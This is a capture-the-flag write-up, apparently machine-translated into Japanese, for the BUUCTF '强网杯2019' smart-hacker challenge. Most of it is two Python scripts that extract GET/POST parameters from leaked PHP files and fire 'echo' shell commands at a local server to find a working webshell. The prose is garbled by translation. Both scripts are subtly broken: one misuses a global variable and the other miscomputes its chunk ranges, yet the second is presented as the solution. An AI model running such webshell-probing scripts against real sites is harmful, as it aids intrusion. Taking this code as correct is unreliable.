BUUCTF [强网杯2019]スマートハッカー

ここに画像の説明を挿入
プロンプトに従ってurl / www.tar.gzでソースコードを取得します。

ここに画像の説明を挿入
いくつかを開いて見てみてください。
ここに画像の説明を挿入
多くのシェルがありますが、使用できないものは、使用できるシェルを見つけることです。この質問は、自分でコードを記述して書き込む能力を調べることです(python3)

import os
import re
import requests
from multiprocessing import Pool
filePath = "E:\phpstudy_pro\WWW\src"
url = "http://127.0.0.1:8003/"

# 读取当前目录的文件
def readFileName():
    return os.listdir(filePath)

# 得到当前文件的get请求,post请求
def getReq(fileName):
    f = filePath + "\\" + fileName
    file = open(f, 'r')
    file_data = file.read()

    # get请求
    rpGet = re.findall("_GET\['(.*?)\'", file_data)
    # print(rpGet)

    # post请求
    rpPost = re.findall("_POST\['(.*?)\'", file_data)
    # print(rpPost)
    file.close()
    # 请求验证
    isSuccess(fileName, gets=rpGet, posts=rpPost)
    return

def isSuccess(fileName, gets, posts):
    url = url + fileName
    print(fileName)
    # 可以考虑开启线程
    for get in gets:
        if sendGet(get, url):
            print(fileName + " " + get + " yes")
    # for post in posts:
    #     if sendPost(post, url):
    #         print(fileName + " " + post + " yes")
    return

shell = "echo 'this is'"
def sendGet(get, url):
    url += "?" + get + "=" + shell
    response = requests.get(url)
    if "this is" in response.text:
        print(url)
        return True
    return False

def sendPost(post, url):
    data = {
    
    post: shell}
    response = requests.post(url, data)
    if "this is" in response.text:
        print(url)
        return True
    return False

if __name__ == '__main__':
    pool = Pool(10)
    pool.map(getReq, readFileName())

    print("----start----")
    pool.close()  # 关闭进程池,关闭后po不再接受新的请求
    pool.join()  # 等待po中的所有子进程执行完成,必须放在close语句之后
    print("-----end-----")

自分のものはまだ出ていません。何が起こっているのかわかりません。何が起こっているのかわからない場合は、使用できません。ただし、これは自分のコンピューターに問題があると思います。3つのプロセスを開いただけで、カップは100%でした。元々、投稿リクエストを受け取ったときに追加したと言いました。スレッドは今よりずっと速くなるはずです、それは私には同じように見えます

しかし、結果は出てくるはずです私は直接走ってシェルでファイルをチェックしました。
ここに画像の説明を挿入

大きな男のコードを添付しましょう(python2)

import os
import requests
from multiprocessing import Pool

path = "I:/phpStudy/PHPTutorial/WWW/src/"
files = os.listdir(path)
url = "http://localhost/src/"


def extract(f):
    gets = []
    with open(path+f, 'r') as f:
        lines = f.readlines()
        lines = [i.strip() for i in lines]
        for line in lines:
            if line.find("$_GET['") > 0:
                start_pos = line.find("$_GET['") + len("$_GET['")
                end_pos = line.find("'", start_pos)
                gets.append(line[start_pos:end_pos])
    return gets


def exp(start, end):
    for i in range(start, end):
        filename = files[i]
        gets = extract(filename)
        print "try: %s" % filename
        for get in gets:
            new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
            r = requests.get(new_url)
            if 'got it' in r.content:
                print new_url
                break


def main():
    pool = Pool(processes=15)
    for i in range(0, len(files), len(files)/15):
        pool.apply_async(exp, (i, +len(files)/15,))
    pool.close()
    pool.join()


if __name__ == "__main__":
    main()

最終的には自分の完全性を使い果たしたわけではありませんでしたが、それでも多くのことを学び、2日間pythonクローラーを見て、単純なクローラーを学び、常連を見て、プロセスプールを監視しました。まだたくさん学びました。

さあ、アオリ!

おすすめ

転載: blog.csdn.net/qq_42158602/article/details/103977841